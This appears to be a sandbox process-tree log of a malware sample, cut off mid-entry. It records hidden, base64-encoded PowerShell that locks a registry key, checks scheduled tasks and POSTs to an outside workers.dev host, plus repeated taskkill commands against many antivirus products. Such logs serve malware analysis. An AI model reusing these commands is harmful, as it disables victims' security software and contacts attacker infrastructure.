  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAIAAkAGsAPQBHAGUAdAAtAEkAdABlAG0AIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAQQBjAHQAaQB2AGUAIABTAGUAdAB1AHAAXABJAG4AcwB0AGEAbABsAGUAZAAgAEMAbwBtAHAAbwBuAGUAbgB0AHMAXAB7AEUAMwBGADcAQgAyAEEAMQAtADQAQwA4AEQALQA0AEYAMgBFAC0AOQBBADEAQgAtADMAQwA1AEQANwBFADgARgAwAEEAMgBCAH0AJwAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAaQBmACgAJABrACkAewAkAGEAPQAkAGsALgBHAGUAdABBAGMAYwBlAHMAcwBDAG8AbgB0AHIAbwBsACgAKQA7ACAAJAByAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQQBjAGMAZQBzAHMAQwBvAG4AdAByAG8AbAAuAFIAZQBnAGkAcwB0AHIAeQBBAGMAYwBlAHMAcwBSAHUAbABlACgAJwBFAHYAZQByAHkAbwBuAGUAJwAsACcARABlAGwAZQB0AGUALABDAGgAYQBuAGcAZQBQAGUAcgBtAGkAcwBzAGkAbwBuAHMALABUAGEAawBlAE8AdwBuAGUAcgBzAGgAaQBwACcALAAnAEMAbwBuAHQAYQBpAG4AZQByAEkAbgBoAGUAcgBpAHQALABPAGIAagBlAGMAdABJAG4AaABlAHIAaQB0ACcALAAnAE4AbwBuAGUAJwAsACcARABlAG4AeQAnACkAOwAgACQAYQAuAEEAZABkAEEAYwBjAGUAcwBzAFIAdQBsAGUAKAAkAHIAKQA7ACAAJABrAC4AUwBlAHQAQQBjAGMAZQBzAHMAQwBvAG4AdAByAG8AbAAoACQAYQApAH0A
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4492
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2924
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbamservice.exe >nul 2>&1
  2⤵
  PID:6088
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbamservice.exe
    3⤵
    - Kills process with taskkill
    PID:980
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aQBmACgARwBlAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAFAAYQB0AGgAIAAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwATgBlAHQAVAByAGEAYwBlAFwAJwAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAGEAdABoAGUAcgBOAGUAdAB3AG8AcgBrAEkAbgBmAG8AJwAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAHsAJwBZACcAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:988
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbamtray.exe >nul 2>&1
  2⤵
  PID:5364
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbamtray.exe
    3⤵
    PID:1836
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbam.exe >nul 2>&1
  2⤵
  PID:2988
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbam.exe
    3⤵
    PID:6128
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbamgui.exe >nul 2>&1
  2⤵
  PID:4440
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbamgui.exe
    3⤵
    - Kills process with taskkill
    PID:4500
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM MBAMWsc.exe >nul 2>&1
  2⤵
  PID:2612
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM MBAMWsc.exe
    3⤵
    PID:4060
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbampt.exe >nul 2>&1
  2⤵
  PID:3324
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbampt.exe
    3⤵
    PID:2436
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aQBmACgARwBlAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAFAAYQB0AGgAIAAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQQBwAHAAbABpAGMAYQB0AGkAbwBuACAARQB4AHAAZQByAGkAZQBuAGMAZQBcACcAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAUAByAG8AZwByAGEAbQBEAGEAdABhAFUAcABkAGEAdABlAHIAJwAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAHsAJwBZACcAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1420
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6128
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM MBCfg.exe >nul 2>&1
  2⤵
  PID:4500
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM MBCfg.exe
    3⤵
    PID:1276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM AvastSvc.exe >nul 2>&1
  2⤵
  PID:5580
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM AvastSvc.exe
    3⤵
    - Kills process with taskkill
    PID:2388
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM AvastUI.exe >nul 2>&1
  2⤵
  PID:1840
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM AvastUI.exe
    3⤵
    PID:5504
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM aswEngSrv.exe >nul 2>&1
  2⤵
  PID:4304
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM aswEngSrv.exe
    3⤵
    - Kills process with taskkill
    PID:988
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM aswidsagent.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2124
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM aswidsagent.exe
    3⤵
    PID:5896
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avgsvc.exe >nul 2>&1
  2⤵
  PID:2356
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avgsvc.exe
    3⤵
    PID:2436
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avgui.exe >nul 2>&1
  2⤵
  PID:4844
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avgui.exe
    3⤵
    - Kills process with taskkill
    PID:6120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM AVGUI.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:6016
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM AVGUI.exe
    3⤵
    PID:3468
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avscan.exe >nul 2>&1
  2⤵
  PID:6032
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avscan.exe
    3⤵
    PID:2744
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM wsc_proxy.exe >nul 2>&1
  2⤵
  PID:3364
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM wsc_proxy.exe
    3⤵
    PID:1344
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM overseer.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3596
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM overseer.exe
    3⤵
    - Kills process with taskkill
    PID:712
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM NortonSecurity.exe >nul 2>&1
  2⤵
  PID:5532
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM NortonSecurity.exe
    3⤵
    PID:4300
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM ns.exe >nul 2>&1
  2⤵
  PID:2740
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ns.exe
    3⤵
    - Kills process with taskkill
    PID:4956
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM ccSvcHst.exe >nul 2>&1
  2⤵
  PID:3544
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ccSvcHst.exe
    3⤵
    PID:3572
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM navapsvc.exe >nul 2>&1
  2⤵
  PID:4668
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4156
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM navapsvc.exe
    3⤵
    PID:5548
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avp.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1316
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avp.exe
    3⤵
    - Kills process with taskkill
    PID:3000
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avpui.exe >nul 2>&1
  2⤵
  PID:3952
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avpui.exe
    3⤵
    PID:5640
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM klnagent.exe >nul 2>&1
  2⤵
  PID:2236
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM klnagent.exe
    3⤵
    - Kills process with taskkill
    PID:2972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM bdagent.exe >nul 2>&1
  2⤵
  PID:1408
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2556
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM bdagent.exe
    3⤵
    - Kills process with taskkill
    PID:2136
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM bdservicehost.exe >nul 2>&1
  2⤵
  PID:1332
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM bdservicehost.exe
    3⤵
    - Kills process with taskkill
    PID:3000
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM bdredline.exe >nul 2>&1
  2⤵
  PID:4160
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM bdredline.exe
    3⤵
    PID:4956
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM vsserv.exe >nul 2>&1
  2⤵
  PID:1104
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vsserv.exe
    3⤵
    PID:3572
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM ekrn.exe >nul 2>&1
  2⤵
  PID:1836
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:256
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ekrn.exe
    3⤵
    PID:4276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM egui.exe >nul 2>&1
  2⤵
  PID:2984
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM egui.exe
    3⤵
    PID:1784
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM eguiProxy.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3112
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM eguiProxy.exe
    3⤵
    PID:4956
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM coreServiceShell.exe >nul 2>&1
  2⤵
  PID:5316
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM coreServiceShell.exe
    3⤵
    PID:4952
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM PccNTMon.exe >nul 2>&1
  2⤵
  PID:2176
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM PccNTMon.exe
    3⤵
    PID:5548
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM TMBMSRV.exe >nul 2>&1
  2⤵
  PID:6064
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM TMBMSRV.exe
    3⤵
    - Kills process with taskkill
    PID:2360
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM SavService.exe >nul 2>&1
  2⤵
  PID:5164
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SavService.exe
    3⤵
    - Kills process with taskkill
    PID:4220
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM SAVAdminService.exe >nul 2>&1
  2⤵
  PID:4636
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SAVAdminService.exe
    3⤵
    PID:1232
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM SophosUI.exe >nul 2>&1
  2⤵
  PID:6120
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SophosUI.exe
    3⤵
    PID:2136
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mcshield.exe >nul 2>&1
  2⤵
  PID:6060
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mcshield.exe
    3⤵
    PID:1276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mfemms.exe >nul 2>&1
  2⤵
  PID:2744
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mfemms.exe
    3⤵
    PID:6044
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mfevtps.exe >nul 2>&1
  2⤵
  PID:2408
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mfevtps.exe
    3⤵
    - Kills process with taskkill
    PID:2736
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM McAPExe.exe >nul 2>&1
  2⤵
  PID:936
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM McAPExe.exe
    3⤵
    PID:5952
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM fshoster32.exe >nul 2>&1
  2⤵
  PID:4976
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM fshoster32.exe
    3⤵
    PID:4300
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM fsgk32.exe >nul 2>&1
  2⤵
  PID:5640
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM fsgk32.exe
    3⤵
    PID:3140
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbamservice.exe >nul 2>&1
  2⤵
  PID:2700
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbamservice.exe
    3⤵
    - Kills process with taskkill
    PID:1508
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aQBmACgARwBlAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAFAAYQB0AGgAIAAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwATgBlAHQAVAByAGEAYwBlAFwAJwAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAGEAdABoAGUAcgBOAGUAdAB3AG8AcgBrAEkAbgBmAG8AJwAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAHsAJwBZACcAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5920
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbamtray.exe >nul 2>&1
  2⤵
  PID:5792
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbamtray.exe
    3⤵
    PID:1288
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbam.exe >nul 2>&1
  2⤵
  PID:2160
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbam.exe
    3⤵
    - Kills process with taskkill
    PID:3036
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbamgui.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4472
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbamgui.exe
    3⤵
    - Kills process with taskkill
    PID:1440
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM MBAMWsc.exe >nul 2>&1
  2⤵
  PID:5696
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM MBAMWsc.exe
    3⤵
    - Kills process with taskkill
    PID:2492
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aQBmACgARwBlAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAFAAYQB0AGgAIAAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQQBwAHAAbABpAGMAYQB0AGkAbwBuACAARQB4AHAAZQByAGkAZQBuAGMAZQBcACcAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAUAByAG8AZwByAGEAbQBEAGEAdABhAFUAcABkAGEAdABlAHIAJwAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAHsAJwBZACcAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4328
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbampt.exe >nul 2>&1
  2⤵
  PID:5320
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbampt.exe
    3⤵
    PID:2736
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM MBCfg.exe >nul 2>&1
  2⤵
  PID:4524
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM MBCfg.exe
    3⤵
    PID:4120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM AvastSvc.exe >nul 2>&1
  2⤵
  PID:6044
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM AvastSvc.exe
    3⤵
    - Kills process with taskkill
    PID:4452
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM AvastUI.exe >nul 2>&1
  2⤵
  PID:3696
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM AvastUI.exe
    3⤵
    PID:1136
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM aswEngSrv.exe >nul 2>&1
  2⤵
  PID:4512
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM aswEngSrv.exe
    3⤵
    PID:2232
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM aswidsagent.exe >nul 2>&1
  2⤵
  PID:964
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM aswidsagent.exe
    3⤵
    - Kills process with taskkill
    PID:4072
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avgsvc.exe >nul 2>&1
  2⤵
  PID:4824
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avgsvc.exe
    3⤵
    - Kills process with taskkill
    PID:4960
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avgui.exe >nul 2>&1
  2⤵
  PID:3528
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avgui.exe
    3⤵
    PID:1884
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM AVGUI.exe >nul 2>&1
  2⤵
  PID:980
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM AVGUI.exe
    3⤵
    PID:1508
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avscan.exe >nul 2>&1
  2⤵
  PID:4444
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avscan.exe
    3⤵
    PID:4276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM wsc_proxy.exe >nul 2>&1
  2⤵
  PID:1440
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM wsc_proxy.exe
    3⤵
    - Kills process with taskkill
    PID:1092
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM overseer.exe >nul 2>&1
  2⤵
  PID:5724
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM overseer.exe
    3⤵
    PID:5960
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM NortonSecurity.exe >nul 2>&1
  2⤵
  PID:4768
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3948
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM NortonSecurity.exe
    3⤵
    PID:988
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM ns.exe >nul 2>&1
  2⤵
  PID:3252
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3904
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ns.exe
    3⤵
    PID:4956
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM ccSvcHst.exe >nul 2>&1
  2⤵
  PID:4592
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ccSvcHst.exe
    3⤵
    - Kills process with taskkill
    PID:4656
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM navapsvc.exe >nul 2>&1
  2⤵
  PID:3140
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM navapsvc.exe
    3⤵
    - Kills process with taskkill
    PID:256
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avp.exe >nul 2>&1
  2⤵
  PID:4148
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avp.exe
    3⤵
    - Kills process with taskkill
    PID:4120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avpui.exe >nul 2>&1
  2⤵
  PID:3884
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avpui.exe
    3⤵
    PID:2132
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM klnagent.exe >nul 2>&1
  2⤵
  PID:5324
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM klnagent.exe
    3⤵
    PID:4208
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM bdagent.exe >nul 2>&1
  2⤵
  PID:4248
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM bdagent.exe
    3⤵
    PID:2020
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM bdservicehost.exe >nul 2>&1
  2⤵
  PID:5220
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM bdservicehost.exe
    3⤵
    - Kills process with taskkill
    PID:1056
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAAKABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJwBoAHQAdABwAHMAOgAvAC8AYgBvAHQAYwBvAG4AZgBpAGcAMgAuAG4AdQByAG0AbwBoAGEAbQBtAGEAZAByAGEAZgBpADkAOQA2ADYALgB3AG8AcgBrAGUAcgBzAC4AZABlAHYALwAnACAALQBNAGUAdABoAG8AZAAgAFAATwBTAFQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0AA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2316
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4956
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM bdredline.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2256
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM bdredline.exe
    3⤵
    PID:1344
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM vsserv.exe >nul 2>&1
  2⤵
  PID:1280
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vsserv.exe
    3⤵
    - Kills process with taskkill
    PID:4120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM ekrn.exe >nul 2>&1
  2⤵
  PID:2132
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ekrn.exe
    3⤵
    PID:1328
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM egui.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1092
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM egui.exe
    3⤵
    - Kills process with taskkill
    PID:2764
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM eguiProxy.exe >nul 2>&1
  2⤵
  PID:4928
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM eguiProxy.exe
    3⤵
    - Kills process with taskkill
    PID:4084
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM coreServiceShell.exe >nul 2>&1
  2⤵
  PID:2908
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM coreServiceShell.exe
    3⤵
    PID:5908
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM PccNTMon.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1344
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM PccNTMon.exe
    3⤵
    PID:4596
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM TMBMSRV.exe >nul 2>&1
  2⤵
  PID:1288
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM TMBMSRV.exe
    3⤵
    PID:3752
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM SavService.exe >nul 2>&1
  2⤵
  PID:5288
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SavService.exe
    3⤵
    PID:716
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM SAVAdminService.exe >nul 2>&1
  2⤵
  PID:1136
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SAVAdminService.exe
    3⤵
    - Kills process with taskkill
    PID:2316
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM SophosUI.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3720
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SophosUI.exe
    3⤵
    PID:1768
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mcshield.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5960
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mcshield.exe
    3⤵
    PID:800
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mfemms.exe >nul 2>&1
  2⤵
  PID:2828
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mfemms.exe
    3⤵
    PID:1688
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mfevtps.exe >nul 2>&1
  2⤵
  PID:4656
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mfevtps.exe
    3⤵
    PID:2488
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM McAPExe.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5832
- - C:\Windows\system32\taskkill.exe
